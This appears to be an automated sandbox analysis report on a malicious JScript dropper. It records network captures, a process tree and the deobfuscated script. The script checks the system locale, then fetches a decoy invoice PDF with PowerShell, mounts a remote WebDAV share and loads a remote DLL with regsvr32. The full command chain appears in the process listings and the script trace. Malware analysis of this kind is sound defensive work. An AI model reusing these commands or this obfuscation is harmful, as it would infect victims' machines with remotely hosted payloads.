Jan 10, 2025 17:41:07.692508936 CET	1.1.1.1	192.168.2.11	0x16b6	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 17:41:07.692508936 CET	1.1.1.1	192.168.2.11	0x16b6	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 17:41:55.817585945 CET	1.1.1.1	192.168.2.11	0x6bfb	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 17:41:55.817585945 CET	1.1.1.1	192.168.2.11	0x6bfb	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.11	49760	193.143.1.205	80	7580	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 17:40:04.261127949 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 10, 2025 17:40:05.071408987 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 16:40:04 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 [TRUNCATED] Data Ascii: f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponent [TRUNCATED]
Jan 10, 2025 17:40:05.071427107 CET	1236	IN	Data Raw: 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 20 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 10, 2025 17:40:05.071439981 CET	1236	IN	Data Raw: 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 1e Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 10, 2025 17:40:05.071496010 CET	1236	IN	Data Raw: f0 e6 f0 a0 29 a1 fb 7b d7 7b ef db 0c da 34 d0 cb b7 af d3 63 9e 44 bb 1e fa e1 e6 70 bf 59 96 7b 72 d4 0e 87 b6 27 87 ce 3e 66 37 1c ca a6 dc 5d 34 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b 2a 1f 43 a3 1d b9 d7 69 47 6e 7b Data Ascii: ){{4cDpY{r'>f7]4`\|d1;CiGn{ZM63\U$CrCM;oN%$)Ioc6vcCB^{}m_v>=wfS=rw7'i_p,`G>0t#
Jan 10, 2025 17:40:05.071508884 CET	1236	IN	Data Raw: 8f cf 44 e9 c0 d0 79 0c bd ef 63 e8 cd cd e3 f5 d5 c3 d5 e5 fd c5 79 13 43 4f 4f 6e 4f 8e 6e 8f 0e 9a 18 fa 41 62 e8 2b 1f 43 73 93 a1 97 6f bb 18 7a bd 3f 8f a1 77 5d 0c bd 68 63 e8 f5 e3 20 86 8e 1d 1b 4a 0c dd b0 a9 6f 4e 00 00 00 d3 e0 8b 25 Data Ascii: DycyCOOnOnAb+Csoz?w]hc JoN%.k#W?6i]5;e)}m{bMC?dbh1xCRcxeSM}s_,gdwY]}-\?'M
Jan 10, 2025 17:40:05.071521997 CET	1236	IN	Data Raw: 6a 62 28 3d 74 53 a6 be 39 01 00 00 4c 83 2f 96 00 60 a7 e4 ee c3 e1 37 de 73 b5 22 0c 16 6b 89 05 e5 0b d0 25 e5 71 65 85 2e b3 44 a4 58 bd 4f d5 5c c6 a2 4f a0 b9 b0 4d 5c d5 86 5e df cd 5d d8 2a 9f 26 b9 27 b9 de e6 9e ae 25 de f6 35 6f b9 f0 Data Ascii: jb(=tS9L/`7s"k%qe.DXO\OM\^]*&'%5o_&^^O\CS1Cb96tCoN%;_ekZl3<".wU\^]r)5s3~\AV
Jan 10, 2025 17:40:05.071547985 CET	776	IN	Data Raw: 35 2b 27 b3 42 03 aa 7f d2 56 b9 b0 ca 60 14 1a 7d 8b d6 64 ac 87 ba a3 39 17 7d ba fc 73 a5 df 57 97 11 f3 ae ab 79 0e fd db 3e f7 59 b0 fa ab 59 7e f3 17 6e 2c f5 2f 62 f9 75 2c bc 94 a3 af e0 12 f7 b7 ca 3b 6d 78 b3 f5 d7 50 7e 36 a6 fe a7 10 Data Ascii: 5+'BV`}d9}sWy>YY~n,/bu,;mxP~6/V?RYJmchs`h'Nm--\hc(n7'iLlG?o9ZLAuI}uV'bF%&0$O-TfWS*ysl]ok:5UDsX\|Fh
Jan 10, 2025 17:40:05.071559906 CET	1236	IN	Data Raw: c7 d0 c3 14 43 3f b4 31 74 38 1c da 3c f2 25 b4 3f 30 34 8a a1 47 12 43 ef bb 18 7a d5 1c 5a ba 68 0c 65 53 ee 06 4c 7d 73 02 00 00 98 06 5f 2c 01 c0 f6 99 7b ec 68 17 f0 89 4a 7f 5b fe 6a c8 7c af be 7e 70 a9 d0 0b ca 25 d4 64 50 dd 40 53 e5 3c Data Ascii: C?1t8<%?04GCzZheSL}s_,{hJ[j\|~p%dP@S<88}zJa4"Dsrz4 msJ'9+)sUjcfVr3<r^D)h>c]Gj~l@gs0o{'_M1w/bxvMoHfK0UZv]L
Jan 10, 2025 17:40:05.071604013 CET	1236	IN	Data Raw: 16 eb dc ec f6 e8 ab a9 37 57 e7 7a 68 38 78 ee 33 e8 68 ce 0e 8b a4 e1 5f 41 bf 23 3a 37 e4 9b 7b 41 c3 82 1c 9e e1 6b 6e b6 6b e9 a1 53 ff 63 0a c0 97 63 f5 62 82 1d b5 e8 81 a1 12 43 af ae d2 81 a1 e5 18 7a ad 63 68 c5 43 76 e4 f6 31 74 7f 1e Data Ascii: 7Wzh8x3h_A#:7{AknkSccbCzchCv1tCOO177O1M5`\|o>%kP/f#))HMgo_#{k+M$OOzzsHa^r,*Y,,WUB5{i_}zqZKd/A
Jan 10, 2025 17:40:05.071615934 CET	779	IN	Data Raw: c5 d0 a3 79 0c 6d 8e 0d 1d c6 d0 b1 63 43 ff 64 53 ee c6 4c 7d 73 02 00 00 98 06 5f 2c 01 c0 a6 f9 9b 6a fd 82 5c e9 3b fa 70 c9 dc 79 7f 29 8a 99 63 fe fc 99 83 52 0a 74 26 28 1f ab 97 bb 24 bd 20 d7 07 a0 54 7f d2 34 a8 34 d0 6f 5b ff db fa 7b Data Ascii: ymcCdSL}s_,j\;py)cRt&($ T44o[{/Dh}4+!F)IT2hM=F{kvJ"L{xU)WX~<E(,{lP+]tA3V'U%T-e~l@7iG/ZU~#zF[_?sc9
Jan 10, 2025 17:40:05.122716904 CET	1236	IN	Data Raw: 8c a9 d9 7b 1c 5e 9e 61 5a ad e9 a1 66 9c b0 5c 8b 7c 0f f5 43 85 e1 de e6 5c c9 d2 e4 a7 05 fc 4c 5f f9 44 4e dd ce 64 95 ab fc 8e 85 cf 82 94 41 bf 6b e9 d5 d0 7a 3b 74 7a f6 e4 a9 2b bc e1 73 d9 7d f4 50 5a 5d 42 6b 5e cd ca 33 7c 17 ba b1 f8 Data Ascii: {^aZf\\|C\L_DNdAkz;tz+s}PZ]Bk^3\|-a\#i3\|2GsrGKhd@B oZ-n1<0Czrkb~:WcQwlhCv[1`\|z3<OhNiB$qi,45

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.11	49776	193.143.1.205	8888	7880	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 17:40:06.593147993 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 10, 2025 17:40:07.395572901 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 16:40:07 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	11:39:58
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\6164687600716519.js"
Imagebase:	0x7ff6738b0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	11:39:59
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2141254929529.dll
Imagebase:	0x7ff71e1f0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	11:39:59
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff68cce0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	11:39:59
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff6eb350000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	11:40:04
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff688b00000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	11:40:05
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff71e1f0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	11:40:05
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff69e980000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	11:40:05
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff6e9af0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	11:40:06
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff68dea0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	11:40:06
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2120 --field-trial-handle=1660,i,10604336850513171778,18165926651659132460,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff6e9af0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	17
Start time:	11:40:49
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff68cce0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function jbowxwgm() {	jbowxwgm() ➔ undefined
1	abvklmz = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var iyeimdc = this[uvmbs + lijyywr + refmrc + beybaey + hpipc + yjpfmdhk + uvucxf + gkdyzzvfz] ( this[aqhbcms + kuytpap + jnnqwuop + refmrc + rcpvwccs + uvmbs + gkdyzzvfz][ioqyykbxc + refmrc + hpipc + lijyywr + gkdyzzvfz + hpipc + mendenjp + jyrxxsgpe + gvffs + hpipc + jnnqwuop + gkdyzzvfz] ( aqhbcms + kuytpap + jnnqwuop + refmrc + rcpvwccs + uvmbs + gkdyzzvfz + uzrkq + kuytpap + lkrcxsoaf + hpipc + pxhgodc + pxhgodc ) [rkvrxbr + hpipc + sdvke + rkvrxbr + hpipc + lijyywr + dduqkfsz] ( gqmhvi + axwmkxnl + drdlcm + jjxmuu + ilxupdhe + ioqyykbxc + mansijs + rkvrxbr + rkvrxbr + drdlcm + aaoei + puccgohf + ilxupdhe + mansijs + kuytpap + drdlcm + rkvrxbr + sldnxljsc + ioqyykbxc + nxqjcqcb + uvucxf + gkdyzzvfz + refmrc + nxqjcqcb + pxhgodc + verpvnlw + hxcstynw + lijyywr + uvucxf + hpipc + pxhgodc + sldnxljsc + yjpfmdhk + uvucxf + gkdyzzvfz + hpipc + refmrc + uvucxf + lijyywr + gkdyzzvfz + rcpvwccs + nxqjcqcb + uvucxf + lijyywr + pxhgodc + sldnxljsc + gmlfe + nxqjcqcb + jnnqwuop + lijyywr + pxhgodc + hpipc ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( gnpxyk = 0 ; gnpxyk < abvklmz[pxhgodc + hpipc + uvucxf + sdvke + gkdyzzvfz + lkrcxsoaf] ; ++ gnpxyk )
4	{
5	if ( iyeimdc == abvklmz[gnpxyk] )
6	{
7	iyeimdc = true;
8	break ;
9	}
10	}
11	if ( iyeimdc !== true )
12	this[aqhbcms + kuytpap + jnnqwuop + refmrc + rcpvwccs + uvmbs + gkdyzzvfz][qklqog + dcavua + rcpvwccs + gkdyzzvfz] ( );
13	this[aqhbcms + kuytpap + jnnqwuop + refmrc + rcpvwccs + uvmbs + gkdyzzvfz][ioqyykbxc + refmrc + hpipc + lijyywr + gkdyzzvfz + hpipc + mendenjp + jyrxxsgpe + gvffs + hpipc + jnnqwuop + gkdyzzvfz] ( aqhbcms + kuytpap + jnnqwuop + refmrc + rcpvwccs + uvmbs + gkdyzzvfz + uzrkq + kuytpap + lkrcxsoaf + hpipc + pxhgodc + pxhgodc ) [refmrc + dcavua + uvucxf] ( jnnqwuop + hdusbkhaw + dduqkfsz + verpvnlw + clrijy + jnnqwuop + verpvnlw + uvmbs + nxqjcqcb + neelwxjn + hpipc + refmrc + beybaey + lkrcxsoaf + hpipc + pxhgodc + pxhgodc + uzrkq + hpipc + khxotpb + hpipc + verpvnlw + qvvvqowwf + ioqyykbxc + nxqjcqcb + hdusbkhaw + hdusbkhaw + lijyywr + uvucxf + dduqkfsz + verpvnlw + fcdti + yjpfmdhk + uvucxf + kdqlhd + nxqjcqcb + mqtxuln + hpipc + qvvvqowwf + aqhbcms + hpipc + jyrxxsgpe + rkvrxbr + hpipc + unqpou + dcavua + hpipc + beybaey + gkdyzzvfz + verpvnlw + qvvvqowwf + mendenjp + dcavua + gkdyzzvfz + jpctgykqo + rcpvwccs + pxhgodc + hpipc + verpvnlw + ukvbesq + gkdyzzvfz + hpipc + hdusbkhaw + uvmbs + ukvbesq + sldnxljsc + rcpvwccs + uvucxf + kdqlhd + nxqjcqcb + rcpvwccs + jnnqwuop + hpipc + uzrkq + uvmbs + dduqkfsz + kjtfikr + verpvnlw + lkrcxsoaf + gkdyzzvfz + gkdyzzvfz + uvmbs + shejpzy + clrijy + clrijy + mtywmiisp + zhgqgvvmr + rxqof + uzrkq + mtywmiisp + diroosx + rxqof + uzrkq + mtywmiisp + uzrkq + kjzms + hptcelpn + ecpaewov + clrijy + rcpvwccs + uvucxf + kdqlhd + nxqjcqcb + rcpvwccs + jnnqwuop + hpipc + uzrkq + uvmbs + lkrcxsoaf + uvmbs + fcdti + zrser + zrser + beybaey + gkdyzzvfz + lijyywr + refmrc + gkdyzzvfz + verpvnlw + ukvbesq + gkdyzzvfz + hpipc + hdusbkhaw + uvmbs + ukvbesq + sldnxljsc + rcpvwccs + uvucxf + kdqlhd + nxqjcqcb + rcpvwccs + jnnqwuop + hpipc + uzrkq + uvmbs + dduqkfsz + kjtfikr + zrser + zrser + jnnqwuop + hdusbkhaw + dduqkfsz + verpvnlw + clrijy + jnnqwuop + verpvnlw + uvucxf + hpipc + gkdyzzvfz + verpvnlw + dcavua + beybaey + hpipc + verpvnlw + sldnxljsc + sldnxljsc + mtywmiisp + zhgqgvvmr + rxqof + uzrkq + mtywmiisp + diroosx + rxqof + uzrkq + mtywmiisp + uzrkq + kjzms + hptcelpn + ecpaewov + imret + vdgpsh + vdgpsh + vdgpsh + vdgpsh + sldnxljsc + dduqkfsz + lijyywr + kdqlhd + neelwxjn + neelwxjn + neelwxjn + refmrc + nxqjcqcb + nxqjcqcb + gkdyzzvfz + sldnxljsc + zrser + zrser + jnnqwuop + hdusbkhaw + dduqkfsz + verpvnlw + clrijy + jnnqwuop + verpvnlw + refmrc + hpipc + sdvke + beybaey + kdqlhd + refmrc + rxqof + kjzms + verpvnlw + clrijy + beybaey + verpvnlw + sldnxljsc + sldnxljsc + mtywmiisp + zhgqgvvmr + rxqof + uzrkq + mtywmiisp + diroosx + rxqof + uzrkq + mtywmiisp + uzrkq + kjzms + hptcelpn + ecpaewov + imret + vdgpsh + vdgpsh + vdgpsh + vdgpsh + sldnxljsc + dduqkfsz + lijyywr + kdqlhd + neelwxjn + neelwxjn + neelwxjn + refmrc + nxqjcqcb + nxqjcqcb + gkdyzzvfz + sldnxljsc + kjzms + mtywmiisp + diroosx + mtywmiisp + kjzms + ecpaewov + diroosx + zhgqgvvmr + kjzms + zhgqgvvmr + ecpaewov + kjzms + zhgqgvvmr + uzrkq + dduqkfsz + pxhgodc + pxhgodc, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2141254929529.dll",0,false) ➔ 0
14	}
15	aaoei = "X";
16	aaoei = "s";
17	aaoei = "q";
18	aaoei = "k";
19	aaoei = "Y";
20	aaoei = "F";
21	aaoei = "t";
22	aaoei = "X";
23	aaoei = "G";
24	aaoei = "A";
25	aaoei = "h";
26	aaoei = "Q";
27	aaoei = "K";
28	aaoei = "N";
29	zrser = "W";
30	zrser = "E";
31	zrser = "U";
32	zrser = "r";
33	zrser = "y";
34	zrser = "l";
35	zrser = "M";
36	zrser = "o";
37	zrser = "v";
38	zrser = "Z";
39	zrser = "n";
40	zrser = "v";
41	zrser = "o";
42	zrser = "L";
43	zrser = "O";
44	zrser = "W";
45	zrser = "e";
46	zrser = "N";
47	zrser = "p";
48	zrser = "D";
49	zrser = "a";
50	zrser = "F";
51	zrser = "Z";
52	zrser = "J";
53	zrser = "E";
54	zrser = "&";
55	qvvvqowwf = "g";
56	qvvvqowwf = "P";
57	qvvvqowwf = "N";
58	qvvvqowwf = "W";
59	qvvvqowwf = "T";
60	qvvvqowwf = "J";
61	qvvvqowwf = "K";
62	qvvvqowwf = "R";
63	qvvvqowwf = "y";
64	qvvvqowwf = "j";
65	qvvvqowwf = "-";
66	shejpzy = "O";
67	shejpzy = "v";
68	shejpzy = "H";
69	shejpzy = "t";
70	shejpzy = "g";
71	shejpzy = "N";
72	shejpzy = "T";
73	shejpzy = "p";
74	shejpzy = "l";
75	shejpzy = "F";
76	shejpzy = "Q";
77	shejpzy = "H";
78	shejpzy = "E";
79	shejpzy = "N";
80	shejpzy = "e";
81	shejpzy = "O";
82	shejpzy = "z";
83	shejpzy = "g";
84	shejpzy = "G";
85	shejpzy = "J";
86	shejpzy = "x";
87	shejpzy = "o";
88	shejpzy = "X";
89	shejpzy = "Q";
90	shejpzy = "y";
91	shejpzy = "i";
92	shejpzy = "z";
93	shejpzy = "v";
94	shejpzy = "u";
95	shejpzy = "V";
96	shejpzy = "F";
97	shejpzy = "C";
98	shejpzy = "e";
99	shejpzy = "Q";
100	shejpzy = "O";
101	shejpzy = "o";
102	shejpzy = "D";
103	shejpzy = "x";
104	shejpzy = "K";
105	shejpzy = "V";
106	shejpzy = ":";
107	sdvke = "V";
108	sdvke = "l";
109	sdvke = "t";
110	sdvke = "M";
111	sdvke = "a";
112	sdvke = "V";
113	sdvke = "z";
114	sdvke = "B";
115	sdvke = "r";
116	sdvke = "P";
117	sdvke = "x";
118	sdvke = "h";
119	sdvke = "r";
120	sdvke = "F";
121	sdvke = "a";
122	sdvke = "G";
123	sdvke = "Z";
124	sdvke = "a";
125	sdvke = "N";
126	sdvke = "L";
127	sdvke = "V";
128	sdvke = "y";
129	sdvke = "g";
130	sdvke = "V";
131	sdvke = "n";
132	sdvke = "t";
133	sdvke = "D";
134	sdvke = "E";
135	sdvke = "D";
136	sdvke = "m";
137	sdvke = "v";
138	sdvke = "P";
139	sdvke = "y";
140	sdvke = "t";
141	sdvke = "p";
142	sdvke = "k";
143	sdvke = "Q";
144	sdvke = "L";
145	sdvke = "m";
146	sdvke = "o";
147	sdvke = "g";
148	nxqjcqcb = "Q";
149	nxqjcqcb = "k";
150	nxqjcqcb = "n";
151	nxqjcqcb = "b";
152	nxqjcqcb = "X";
153	nxqjcqcb = "h";
154	nxqjcqcb = "M";
155	nxqjcqcb = "q";
156	nxqjcqcb = "R";
157	nxqjcqcb = "e";
158	nxqjcqcb = "B";
159	nxqjcqcb = "D";
160	nxqjcqcb = "x";
161	nxqjcqcb = "s";
162	nxqjcqcb = "n";
163	nxqjcqcb = "W";
164	nxqjcqcb = "U";
165	nxqjcqcb = "s";
166	nxqjcqcb = "j";
167	nxqjcqcb = "l";
168	nxqjcqcb = "r";
169	nxqjcqcb = "T";
170	nxqjcqcb = "b";
171	nxqjcqcb = "b";
172	nxqjcqcb = "I";
173	nxqjcqcb = "H";
174	nxqjcqcb = "c";
175	nxqjcqcb = "y";
176	nxqjcqcb = "y";
177	nxqjcqcb = "j";
178	nxqjcqcb = "c";
179	nxqjcqcb = "d";
180	nxqjcqcb = "P";
181	nxqjcqcb = "C";
182	nxqjcqcb = "Z";
183	nxqjcqcb = "f";
184	nxqjcqcb = "o";
185	nxqjcqcb = "a";
186	nxqjcqcb = "a";
187	nxqjcqcb = "o";
188	hpipc = "v";
189	hpipc = "n";
190	hpipc = "i";
191	hpipc = "I";
192	hpipc = "D";
193	hpipc = "o";
194	hpipc = "I";
195	hpipc = "w";
196	hpipc = "k";
197	hpipc = "D";
198	hpipc = "k";
199	hpipc = "w";
200	hpipc = "d";
201	hpipc = "S";
202	hpipc = "O";
203	hpipc = "S";
204	hpipc = "B";
205	hpipc = "l";
206	hpipc = "s";
207	hpipc = "c";
208	hpipc = "I";
209	hpipc = "H";
210	hpipc = "A";
211	hpipc = "S";
212	hpipc = "g";
213	hpipc = "l";
214	hpipc = "e";
215	hpipc = "j";
216	hpipc = "v";
217	hpipc = "L";
218	hpipc = "N";
219	hpipc = "a";
220	hpipc = "u";
221	hpipc = "e";
222	hpipc = "e";
223	drdlcm = "U";
224	drdlcm = "V";
225	drdlcm = "A";
226	drdlcm = "m";
227	drdlcm = "E";
228	drdlcm = "a";
229	drdlcm = "C";
230	drdlcm = "j";
231	drdlcm = "T";
232	drdlcm = "e";
233	drdlcm = "p";
234	drdlcm = "q";
